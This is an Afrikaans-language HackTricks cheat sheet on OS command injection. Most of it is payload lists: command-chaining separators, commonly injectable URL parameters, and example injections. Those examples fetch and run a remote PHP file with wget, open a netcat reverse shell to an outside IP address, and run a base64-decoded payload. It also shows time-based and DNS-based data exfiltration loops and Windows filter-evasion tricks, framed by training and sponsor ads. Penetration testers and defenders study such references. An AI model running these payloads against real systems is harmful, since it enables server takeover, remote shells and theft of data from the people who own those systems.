# Opdraginjeksie

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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## Wat is opdraginjeksie?

'n **Opdraginjeksie** maak dit moontlik vir 'n aanvaller om arbitrêre bedryfstelselopdragte uit te voer op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller tipies in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.

### Konteks

Afhanklik van **waar jou inset ingevoeg word**, mag jy die gekwoteerde konteks moet beëindig (deur gebruik te maak van `"` of `'`) voor die opdragte.

## Opdraginjeksie/Uitvoering
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Beperkingsontduiking** 

As jy probeer om **willekeurige opdragte binne 'n Linux-masjien** uit te voer, sal jy belangstel wees om oor hierdie **Beperkingsontduiking** te lees:

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

### **Voorbeelde**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parameters

Hier is die top 25 parameters wat vatbaar kan wees vir kode inspuiting en soortgelyke RCE kwesbaarhede (vanaf [skakel](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Tyd-gebaseerde data-uitvoer

Uitvoer van data: karakter per karakter
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### DNS-gebaseerde data-eksfiltrering

Gebaseer op die instrument van `https://github.com/HoLyVieR/dnsbin` wat ook gehuisves word by dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Aanlynhulpmiddels om vir DNS-gebaseerde data-eksfiltrering te kontroleer:

* dnsbin.zhack.ca
* pingb.in

### Omseiling van filtreering

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

## Brute-Force Opmerkingslys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## Verwysings

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}